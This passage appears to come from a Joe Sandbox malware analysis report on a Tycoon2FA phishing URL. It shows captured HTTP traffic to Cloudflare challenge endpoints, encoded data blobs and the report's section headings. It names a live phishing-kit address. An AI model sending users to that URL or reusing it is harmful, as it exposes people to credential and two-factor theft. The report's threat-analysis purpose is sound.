2025-03-25 19:31:16 UTC	1369	IN	Data Raw: 6f 34 46 6d 63 6e 78 32 5a 6e 36 4e 6a 57 56 38 6d 6e 35 75 67 35 57 56 61 61 36 69 68 6e 61 75 76 5a 36 2f 76 5a 65 41 6e 70 36 7a 6c 33 36 45 6e 70 65 63 6f 36 66 4e 70 71 47 72 76 62 4b 4d 79 4b 65 76 70 39 4c 57 30 4d 72 4b 76 39 37 4b 77 74 61 34 74 37 62 45 76 4e 72 49 78 74 71 38 35 75 44 4f 33 39 4b 74 38 39 58 70 73 76 6a 4e 39 75 57 35 2f 4c 58 78 30 75 33 33 41 39 58 65 76 66 6e 42 39 51 41 4a 79 4f 62 46 41 68 48 43 7a 77 37 7a 45 68 51 58 43 4f 73 4b 31 42 4c 36 38 2f 77 49 38 69 48 66 41 41 51 45 4a 67 49 6c 45 68 58 33 34 76 59 66 4c 77 63 44 45 51 48 71 4c 68 55 33 44 77 72 35 4d 41 30 33 51 44 7a 33 2b 79 4d 4f 4c 79 55 36 41 30 49 6d 53 68 70 4b 51 6a 77 70 4c 69 6b 71 55 68 41 7a 45 53 78 53 55 69 5a 53 4f 31 42 4f 48 31 4a 59 55 6a 64 Data Ascii: o4Fmcnx2Zn6NjWV8mn5ug5WVaa6ihnauvZ6/vZeAnp6zl36Enpeco6fNpqGrvbKMyKevp9LW0MrKv97Kwta4t7bEvNrIxtq85uDO39Kt89XpsvjN9uW5/LXx0u33A9XevfnB9QAJyObFAhHCzw7zEhQXCOsK1BL68/wI8iHfAAQEJgIlEhX34vYfLwcDEQHqLhU3Dwr5MA03QDz3+yMOLyU6A0ImShpKQjwpLikqUhAzESxSUiZSO1BOH1JYUjd
2025-03-25 19:31:16 UTC	1369	IN	Data Raw: 70 32 6b 68 34 4b 4f 6a 5a 31 6c 70 59 52 79 69 70 61 55 65 6d 32 74 69 49 2b 53 6e 70 2b 43 64 62 57 51 6f 4d 47 54 67 73 76 42 71 73 47 70 69 38 53 6b 6b 61 6d 6b 7a 6f 36 57 79 4c 53 75 6d 4b 36 59 76 5a 57 73 79 71 36 65 73 38 58 46 6d 64 37 53 74 71 62 65 37 63 37 66 37 63 65 77 7a 75 44 6a 78 36 2f 4d 30 65 76 59 36 74 33 48 31 2f 66 63 33 4c 58 4d 41 38 44 58 43 41 50 38 35 38 72 6c 7a 75 77 4c 37 50 76 4e 41 64 51 53 2b 50 4c 54 31 2b 38 4e 45 42 6f 42 44 4e 76 66 39 2f 6f 59 49 67 6b 54 33 79 66 70 43 77 48 74 42 43 63 69 37 53 2f 78 41 79 67 74 4a 50 41 59 39 7a 67 52 46 76 73 57 4e 43 4d 32 47 51 51 47 45 51 42 4c 43 41 6f 4c 4e 6a 73 64 45 55 64 48 48 55 55 71 52 78 42 48 4c 55 77 6f 56 54 45 6f 53 7a 38 68 51 43 41 65 4f 6a 6c 69 4a 55 4e 63 Data Ascii: p2kh4KOjZ1lpYRyipaUem2tiI+Snp+CdbWQoMGTgsvBqsGpi8Skkamkzo6WyLSumK6YvZWsyq6es8XFmd7Stqbe7c7f7cewzuDjx6/M0evY6t3H1/fc3LXMA8DXCAP858rlzuwL7PvNAdQS+PLT1+8NEBoBDNvf9/oYIgkT3yfpCwHtBCci7S/xAygtJPAY9zgRFvsWNCM2GQQGEQBLCAoLNjsdEUdHHUUqRxBHLUwoVTEoSz8hQCAeOjliJUNc
2025-03-25 19:31:16 UTC	1369	IN	Data Raw: 4b 76 68 36 47 6c 6c 33 52 77 73 37 4a 32 75 4a 32 72 66 71 79 4d 67 62 75 64 6f 59 61 57 6e 4a 61 47 76 36 32 74 67 63 69 2f 6a 4c 43 70 6a 61 54 42 75 49 2b 32 7a 74 62 62 74 62 32 58 6d 38 4b 74 7a 63 53 66 77 4c 2f 4b 74 4e 37 43 77 4b 69 6c 70 36 76 43 76 64 37 4f 36 64 6a 58 7a 63 50 54 38 39 6a 5a 33 63 72 4f 39 4d 76 43 33 76 37 50 77 4f 54 7a 39 77 44 35 41 66 44 5a 35 67 58 67 36 41 44 6d 30 77 51 61 41 2b 6e 63 32 50 63 65 45 66 45 66 47 2f 58 6c 2b 74 6b 65 32 79 7a 6e 35 51 48 72 4b 75 77 4c 4a 44 41 68 38 51 34 51 46 53 73 72 38 7a 54 33 2b 50 67 78 49 54 59 33 47 79 51 69 49 79 4a 44 53 41 52 45 43 69 34 4a 51 44 45 68 4a 55 55 6f 52 55 6f 51 57 78 68 56 46 30 5a 4c 4c 53 46 59 50 52 39 63 51 45 4e 45 50 7a 39 41 53 6d 4d 67 4a 56 6c 63 4b Data Ascii: Kvh6Gll3Rws7J2uJ2rfqyMgbudoYaWnJaGv62tgci/jLCpjaTBuI+2ztbbtb2Xm8KtzcSfwL/KtN7CwKilp6vCvd7O6djXzcPT89jZ3crO9MvC3v7PwOTz9wD5AfDZ5gXg6ADm0wQaA+nc2PceEfEfG/Xl+tke2yzn5QHrKuwLJDAh8Q4QFSsr8zT3+PgxITY3GyQiIyJDSARECi4JQDEhJUUoRUoQWxhVF0ZLLSFYPR9cQENEPz9ASmMgJVlcK
2025-03-25 19:31:16 UTC	1369	IN	Data Raw: 72 63 70 43 4b 6b 35 53 74 71 6f 33 42 6e 37 4f 67 74 38 69 31 73 70 71 49 72 63 36 32 69 4d 50 41 6e 4a 4f 68 71 73 6d 33 6c 4c 43 32 74 35 71 79 75 63 69 74 74 5a 71 66 31 71 4f 32 6e 65 48 49 6f 75 62 65 33 38 4b 75 71 73 32 79 34 76 48 44 74 4e 4c 6d 39 76 4b 35 78 4c 66 54 7a 65 44 62 30 76 58 78 33 4f 50 64 33 50 33 71 2f 50 51 44 41 2f 72 51 43 66 44 4e 36 73 33 32 7a 51 48 36 30 39 63 62 45 42 6b 68 2b 42 6e 68 47 53 54 79 38 79 67 6e 49 50 72 32 35 67 4c 37 4a 78 73 4a 44 2f 34 79 38 77 38 49 46 2f 4d 70 48 44 48 30 4e 79 34 5a 41 67 37 39 49 6a 55 76 4a 44 6f 5a 4f 77 77 35 4a 51 59 63 49 78 77 64 4b 31 4a 53 56 79 77 6b 55 31 78 51 54 44 38 63 59 56 39 43 4c 7a 4d 76 59 53 4a 6a 4a 46 6f 6e 50 6c 31 70 56 79 6f 37 4b 6d 34 76 51 30 64 79 53 6d Data Ascii: rcpCKk5Stqo3Bn7Ogt8i1spqIrc62iMPAnJOhqsm3lLC2t5qyucittZqf1qO2neHIoube38Kuqs2y4vHDtNLm9vK5xLfTzeDb0vXx3OPd3P3q/PQDA/rQCfDN6s32zQH609cbEBkh+BnhGSTy8ygnIPr25gL7JxsJD/4y8w8IF/MpHDH0Ny4ZAg79IjUvJDoZOww5JQYcIxwdK1JSVywkU1xQTD8cYV9CLzMvYSJjJFonPl1pVyo7Km4vQ0dySm
2025-03-25 19:31:16 UTC	1369	IN	Data Raw: 6f 49 2b 77 67 71 2b 68 78 71 4f 6d 6c 36 53 6a 70 5a 71 6e 77 5a 2b 74 6f 4c 43 79 73 72 4f 67 77 71 6e 4e 74 4c 47 72 30 72 69 39 77 4b 2b 6a 77 73 50 44 34 74 4b 33 33 4e 6e 59 78 63 66 69 76 38 37 41 77 4d 7a 46 36 4c 2f 4e 79 76 6e 48 31 63 6e 58 31 39 66 4f 32 38 76 69 30 66 54 39 39 4e 58 69 41 74 33 58 35 2b 2f 75 33 52 4c 7a 38 75 48 76 30 75 2f 6c 43 76 76 74 36 42 37 6e 39 2b 34 53 39 2f 33 30 46 65 62 35 39 66 50 33 42 2f 6b 64 49 67 37 39 4d 66 49 68 41 42 41 51 45 67 51 54 4d 68 67 4b 47 42 67 59 45 54 49 51 49 68 49 31 50 68 6f 57 53 68 77 65 47 43 63 50 50 52 34 63 4e 44 49 68 56 6a 41 77 4a 7a 51 77 4f 79 68 4f 47 7a 6b 73 55 6a 67 2f 4d 6d 5a 41 51 44 59 30 4e 45 59 39 58 53 39 4e 50 6a 78 55 54 45 42 6d 52 46 4e 45 61 6b 78 70 53 58 35 Data Ascii: oI+wgq+hxqOml6SjpZqnwZ+toLCysrOgwqnNtLGr0ri9wK+jwsPD4tK33NnYxcfiv87AwMzF6L/NyvnH1cnX19fO28vi0fT99NXiAt3X5+/u3RLz8uHv0u/lCvvt6B7n9+4S9/30Feb59fP3B/kdIg79MfIhABAQEgQTMhgKGBgYETIQIhI1PhoWShweGCcPPR4cNDIhVjAwJzQwOyhOGzksUjg/MmZAQDY0NEY9XS9NPjxUTEBmRFNEakxpSX5

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:17 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:17 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 25 Mar 2025 19:31:17 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 3zB+0Jfq43FDMkXYqekxzdy6V1ZBqQbmfEC5pKrfPX44AndV6YyCYwFkxUPiLLlgRCXJSjquuf66jK6uPbyHPA==$mC8GyrkeW6Pg13/FRgEOXg== Server: cloudflare CF-RAY: 9260d3e1889a9d36-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:17 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:19 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40751 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:19 UTC	16384	OUT	Data Raw: 46 6b 6e 6a 55 51 32 72 38 62 6e 5a 6f 48 4a 32 63 68 49 41 6e 51 48 32 77 68 66 6a 6c 44 51 5a 68 45 4f 68 62 70 4f 72 68 67 68 45 44 5a 4a 32 46 4d 4f 5a 68 48 61 31 6a 32 5a 68 77 72 6a 37 56 44 51 4c 68 4b 70 31 45 7a 5a 68 4f 4b 68 37 7a 44 31 64 68 2d 4b 7a 57 43 68 6a 5a 7a 64 68 38 6a 68 6f 38 39 6e 35 70 68 67 4c 4f 6a 51 66 68 58 6c 68 31 34 36 68 32 6e 6f 68 55 63 44 68 75 75 47 6c 7a 77 51 68 36 61 42 6e 2d 38 6e 76 44 32 69 68 68 71 58 68 79 37 62 49 73 39 4e 51 69 77 65 62 70 32 55 6f 6e 6d 6e 68 48 66 44 6e 47 24 68 49 6a 32 76 68 48 76 43 58 62 68 68 4d 58 6f 2d 31 4b 71 71 68 32 72 2b 6c 68 50 47 51 58 70 68 51 64 76 6e 54 2d 32 53 68 5a 5a 72 68 6c 72 68 41 70 32 49 37 51 70 68 4c 70 68 59 49 6a 34 31 31 68 32 65 68 6f 68 65 4e 44 68 51 Data Ascii: FknjUQ2r8bnZoHJ2chIAnQH2whfjlDQZhEOhbpOrhghEDZJ2FMOZhHa1j2Zhwrj7VDQLhKp1EzZhOKh7zD1dh-KzWChjZzdh8jho89n5phgLOjQfhXlh146h2nohUcDhuuGlzwQh6aBn-8nvD2ihhqXhy7bIs9NQiwebp2UonmnhHfDnG$hIj2vhHvCXbhhMXo-1Kqqh2r+lhPGQXphQdvnT-2ShZZrhlrhAp2I7QphLphYIj411h2ehoheNDhQ
2025-03-25 19:31:19 UTC	16384	OUT	Data Raw: 4d 44 4c 45 34 6e 72 24 39 53 71 6e 62 55 30 5a 54 55 71 41 32 30 61 48 45 6c 51 30 34 34 58 31 70 36 32 34 79 43 41 5a 64 58 6f 66 68 7a 4e 43 44 44 4b 58 48 4f 6a 44 32 72 58 6c 68 4f 4c 70 48 70 48 79 57 37 51 41 68 58 38 69 69 68 6f 51 51 54 53 61 34 4a 59 48 36 51 6e 32 70 48 52 6b 64 44 32 45 55 5a 4c 68 30 38 6e 6f 5a 4c 32 4c 5a 75 63 62 44 5a 7a 6a 65 68 72 6a 6c 32 34 77 68 58 6a 5a 70 32 30 68 4c 62 41 37 70 71 70 5a 44 5a 4f 47 57 68 47 6d 73 7a 24 58 35 73 55 2d 46 5a 46 2d 46 51 61 79 5a 52 41 63 7a 31 69 68 70 4e 4e 4c 68 24 44 45 4b 45 6e 5a 6e 41 59 37 6c 64 44 51 44 69 34 39 5a 32 64 32 6d 6b 6e 75 43 30 66 45 4b 51 38 4f 65 44 51 6e 6e 6e 6a 4e 6f 47 70 6c 2b 68 62 68 71 70 48 46 31 73 38 63 49 5a 54 51 42 6a 38 70 32 34 32 58 68 5a 51 Data Ascii: MDLE4nr$9SqnbU0ZTUqA20aHElQ044X1p624yCAZdXofhzNCDDKXHOjD2rXlhOLpHpHyW7QAhX8iihoQQTSa4JYH6Qn2pHRkdD2EUZLh08noZL2LZucbDZzjehrjl24whXjZp20hLbA7pqpZDZOGWhGmsz$X5sU-FZF-FQayZRAcz1ihpNNLh$DEKEnZnAY7ldDQDi49Z2d2mknuC0fEKQ8OeDQnnnjNoGpl+hbhqpHF1s8cIZTQBj8p242XhZQ
2025-03-25 19:31:19 UTC	7983	OUT	Data Raw: 73 42 2d 2d 66 41 67 55 4a 62 68 48 45 65 53 39 6f 53 79 5a 2d 6c 37 6b 53 6d 6a 42 68 51 5a 53 30 67 70 6e 68 24 53 4e 4b 6f 6b 52 6a 6a 6c 4c 50 46 49 5a 55 6a 45 37 50 69 52 70 43 35 2b 47 56 35 33 65 30 77 39 48 61 43 62 6a 51 4e 32 4c 61 58 24 75 44 6d 47 43 54 64 6d 53 37 72 63 33 51 31 67 31 46 4d 5a 4a 2d 62 48 51 42 70 6d 69 6f 37 73 42 50 61 65 42 45 47 42 4e 61 69 4e 54 78 4f 44 32 39 64 42 4c 4f 70 5a 4f 6b 72 32 4f 44 67 61 36 45 4b 44 6d 50 77 7a 35 67 67 46 4d 37 6b 66 6f 79 71 37 2d 72 61 73 2d 48 6a 4f 5a 54 61 79 41 46 64 4d 79 38 42 41 2d 33 55 4c 46 46 33 4f 4b 68 77 41 79 50 68 48 63 4c 32 68 6a 66 6f 53 4f 6f 33 56 44 51 6a 51 6a 44 4a 4f 31 6a 68 6a 79 34 53 4b 72 37 48 37 76 78 77 73 39 51 31 49 32 54 6e 4a 71 2d 41 68 5a 43 68 51 Data Ascii: sB--fAgUJbhHEeS9oSyZ-l7kSmjBhQZS0gpnh$SNKokRjjlLPFIZUjE7PiRpC5+GV53e0w9HaCbjQN2LaX$uDmGCTdmS7rc3Q1g1FMZJ-bHQBpmio7sBPaeBEGBNaiNTxOD29dBLOpZOkr2ODga6EKDmPwz5ggFM7kfoyq7-ras-HjOZTayAFdMy8BA-3ULFF3OKhwAyPhHcL2hjfoSOo3VDQjQjDJO1jhjy4SKr7H7vxws9Q1I2TnJq-AhZChQ
2025-03-25 19:31:19 UTC	282	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4856 Connection: close cf-chl-out: Fxbz2TNK7FHUAsq3k1Cn1P7++w7MEleLSCXu+57HGzqy5BxUjK3eZPgsNhp+VXvN8oKRJZ14v2fNMQZliU/MBoHZRkCZQmnrYlCFWhF9hog=$3p/Y5A+4dXSTnCVrRcOiqw==
2025-03-25 19:31:19 UTC	1467	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 6d 2b 73 33 34 4b 67 32 77 36 2b 4a 70 66 71 34 2f 49 59 55 50 5a 71 41 63 51 58 46 6c 73 37 56 4c 63 54 74 42 62 54 52 65 61 73 47 6b 37 54 67 74 4b 30 57 6e 70 2f 6a 66 6f 71 71 6c 46 38 6c 63 38 58 34 4a 34 66 70 35 44 67 37 4a 32 39 4b 35 4d 71 71 6b 7a 78 70 44 79 79 47 32 70 2b 59 47 6e 35 4c 55 63 54 6a 38 56 2b 50 7a 55 63 67 39 64 67 65 32 30 59 56 61 2b 71 71 41 52 33 7a 64 77 34 51 5a 63 31 42 58 45 72 33 64 36 68 73 6e 38 31 4e 43 77 45 4d 4a 76 4a 33 59 77 59 33 33 75 78 73 44 36 53 75 6f 54 70 6c 56 34 53 50 2b 42 46 47 41 48 49 6b 4e 5a 52 61 32 35 32 4e 5a 36 4f 64 67 4b 37 66 4c 73 43 62 47 70 5a 64 6d 46 6d 71 4d 55 5a 4e 77 69 6f 79 2b 4d 4e 47 39 6e 66 63 7a 77 6b 6a 37 55 74 6f 75 4c 58 65 31 Data Ascii: cf-chl-out-s: m+s34Kg2w6+Jpfq4/IYUPZqAcQXFls7VLcTtBbTReasGk7TgtK0Wnp/jfoqqlF8lc8X4J4fp5Dg7J29K5MqqkzxpDyyG2p+YGn5LUcTj8V+PzUcg9dge20YVa+qqAR3zdw4QZc1BXEr3d6hsn81NCwEMJvJ3YwY33uxsD6SuoTplV4SP+BFGAHIkNZRa252NZ6OdgK7fLsCbGpZdmFmqMUZNwioy+MNG9nfczwkj7UtouLXe1
2025-03-25 19:31:19 UTC	989	IN	Data Raw: 51 31 56 5a 56 57 31 77 59 6e 75 47 64 45 5a 39 69 49 65 4c 67 6c 42 31 5a 33 46 5a 55 59 6d 41 6e 34 4f 52 58 47 42 69 63 70 53 47 5a 49 57 4b 6a 6e 79 6a 69 4a 71 65 62 48 57 71 75 49 32 59 6d 59 61 52 6e 4a 36 7a 6f 4d 4b 69 65 72 75 62 73 5a 32 6d 6b 62 2b 44 6e 62 65 74 69 4b 47 2f 72 64 54 54 77 72 37 43 77 35 6e 51 70 39 65 6e 76 74 48 50 72 4b 7a 59 76 39 62 55 75 4f 66 41 79 4e 36 6f 32 38 7a 4e 35 64 4c 66 32 37 33 45 31 71 36 77 79 64 65 7a 74 4c 53 33 33 38 72 77 33 2f 66 4e 33 4e 6d 2f 43 4f 6e 71 32 41 54 6c 36 63 67 47 42 67 44 30 45 4f 66 32 7a 67 54 76 38 2f 6a 55 37 50 66 58 46 41 73 43 2f 67 41 44 45 42 62 37 47 42 37 36 47 4f 7a 6b 4c 65 34 45 43 52 41 41 4e 7a 55 7a 4f 76 41 63 44 52 73 36 46 7a 67 30 4c 2f 67 65 45 42 46 47 47 6b 59 Data Ascii: Q1VZVW1wYnuGdEZ9iIeLglB1Z3FZUYmAn4ORXGBicpSGZIWKjnyjiJqebHWquI2YmYaRnJ6zoMKierubsZ2mkb+DnbetiKG/rdTTwr7Cw5nQp9envtHPrKzYv9bUuOfAyN6o28zN5dLf273E1q6wydeztLS338rw3/fN3Nm/COnq2ATl6cgGBgD0EOf2zgTv8/jU7PfXFAsC/gADEBb7GB76GOzkLe4ECRAANzUzOvAcDRs6Fzg0L/geEBFGGkY
2025-03-25 19:31:19 UTC	1369	IN	Data Raw: 69 6f 6d 56 45 4a 55 56 56 52 56 61 48 59 39 57 33 56 2f 57 6d 42 63 62 31 6c 6a 65 6c 4a 71 66 49 70 6f 5a 56 74 63 5a 57 6d 43 6b 56 46 79 59 6f 35 33 62 57 64 73 68 6c 74 70 63 70 31 38 67 47 39 68 59 36 64 6d 57 6e 39 31 68 36 65 4c 5a 6d 36 72 6a 59 32 49 6e 4a 4f 7a 70 6f 71 59 6c 48 57 35 65 6e 53 61 75 70 36 64 6b 6e 32 6c 75 4a 53 78 70 73 76 4b 70 4b 47 37 6d 34 65 72 78 4c 4f 4d 72 61 4c 52 32 4c 66 48 73 4c 79 7a 75 63 71 75 74 74 2b 34 73 73 4b 7a 72 36 43 6f 6f 71 48 73 77 61 58 41 77 73 32 70 38 65 33 4d 31 4d 44 4b 30 74 58 32 7a 74 6a 4c 30 37 2f 64 39 4c 76 59 32 4e 41 44 39 65 50 39 79 2b 72 73 43 77 30 4c 37 76 44 76 78 76 45 45 38 68 6e 35 39 77 62 59 38 39 55 65 47 2b 44 39 45 77 62 36 41 2b 66 77 36 66 6a 37 34 77 37 36 4b 78 77 48 Data Ascii: iomVEJUVVRVaHY9W3V/WmBcb1ljelJqfIpoZVtcZWmCkVFyYo53bWdshltpcp18gG9hY6dmWn91h6eLZm6rjY2InJOzpoqYlHW5enSaup6dkn2luJSxpsvKpKG7m4erxLOMraLR2LfHsLyzucqutt+4ssKzr6CooqHswaXAws2p8e3M1MDK0tX2ztjL07/d9LvY2NAD9eP9y+rsCw0L7vDvxvEE8hn59wbY89UeG+D9Ewb6A+fw6fj74w76KxwH
2025-03-25 19:31:19 UTC	1369	IN	Data Raw: 67 78 56 6a 51 39 65 30 78 4d 51 47 36 43 54 56 35 34 59 6f 46 49 56 55 74 59 54 45 42 46 69 56 42 6e 52 56 4a 52 67 6f 79 42 6d 49 4f 55 61 47 78 36 61 49 42 62 6a 6d 4b 44 6a 36 42 5a 57 71 46 38 59 6d 75 41 72 47 79 67 69 58 75 4b 62 6e 56 7a 6b 72 47 54 71 37 6c 79 6c 4b 6d 76 6e 70 71 35 72 33 32 39 75 59 61 51 6b 38 6d 39 74 71 69 33 69 62 79 51 7a 62 53 72 6a 35 4f 72 72 4d 76 56 76 4d 57 58 6d 37 4f 31 73 2b 43 36 7a 62 76 56 7a 38 6e 41 33 73 76 70 36 36 6e 65 70 74 36 78 78 4f 37 51 35 4f 37 6e 35 72 6e 55 39 74 6a 73 36 75 2f 75 76 2f 50 32 31 73 62 34 35 77 44 62 33 4d 62 34 78 63 77 51 36 2f 49 45 45 75 76 55 38 67 51 49 36 39 4c 5a 38 2f 6e 77 38 2f 63 69 41 52 7a 66 32 4e 6e 61 35 53 6e 6f 33 68 38 4b 39 77 41 6f 4d 54 50 30 38 41 72 78 4d Data Ascii: gxVjQ9e0xMQG6CTV54YoFIVUtYTEBFiVBnRVJRgoyBmIOUaGx6aIBbjmKDj6BZWqF8YmuArGygiXuKbnVzkrGTq7lylKmvnpq5r329uYaQk8m9tqi3ibyQzbSrj5OrrMvVvMWXm7O1s+C6zbvVz8nA3svp66nept6xxO7Q5O7n5rnU9tjs6u/uv/P21sb45wDb3Mb4xcwQ6/IEEuvU8gQI69LZ8/nw8/ciARzf2Nna5Sno3h8K9wAoMTP08ArxM
2025-03-25 19:31:19 UTC	1129	IN	Data Raw: 53 58 33 39 54 66 32 4a 69 69 49 4a 6b 5a 56 75 48 61 31 71 47 67 32 35 2f 58 48 46 78 68 31 47 58 63 59 64 30 62 6e 35 34 6d 5a 74 66 6f 35 4b 55 66 71 4f 41 6d 6e 32 57 70 61 61 4f 6d 72 42 70 63 4b 57 79 6c 5a 53 44 74 71 47 61 6c 34 74 35 6e 4a 79 62 75 70 36 64 75 71 53 6d 75 70 43 37 6e 49 4f 63 71 4b 54 42 69 36 57 6d 6f 4b 2f 56 71 59 36 72 31 5a 69 6f 76 4d 6d 64 75 37 53 2f 76 39 58 53 76 63 50 6a 73 4c 72 42 78 63 71 6c 77 73 71 38 76 63 72 4e 36 73 48 56 36 73 4f 75 7a 39 66 63 78 74 4c 62 31 77 44 67 41 4d 34 47 33 2f 6e 6e 41 38 66 41 32 4e 2f 68 32 77 48 49 35 67 44 30 43 4f 37 68 7a 77 48 32 36 50 67 4b 39 79 44 57 34 41 4d 57 42 51 34 41 4a 50 67 62 43 41 55 6d 33 67 73 72 4d 53 38 49 49 7a 4d 53 39 53 72 75 39 52 45 52 2b 78 66 39 4d 78 Data Ascii: SX39Tf2JiiIJkZVuHa1qGg25/XHFxh1GXcYd0bn54mZtfo5KUfqOAmn2WpaaOmrBpcKWylZSDtqGal4t5nJybup6duqSmupC7nIOcqKTBi6WmoK/VqY6r1ZiovMmdu7S/v9XSvcPjsLrBxcqlwsq8vcrN6sHV6sOuz9fcxtLb1wDgAM4G3/nnA8fA2N/h2wHI5gD0CO7hzwH26PgK9yDW4AMWBQ4AJPgbCAUm3gsrMS8IIzMS9Sru9RER+xf9Mx

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:20 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:20 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 25 Mar 2025 19:31:20 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: tG2UwbU4rZTyXI8LMNsWScqeydaHRKgLn0gDkRTUeAAFRt6vcLFk+NNlUc2Oaqi8h3EQ/+PHrXruBqk608thqg==$6rMVZXIQ/75+lRxCrzce1A== Server: cloudflare CF-RAY: 9260d3f36b85847d-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:20 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Windows Analysis Report
https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/

Timestamp	Bytes transferred	Direction	Data
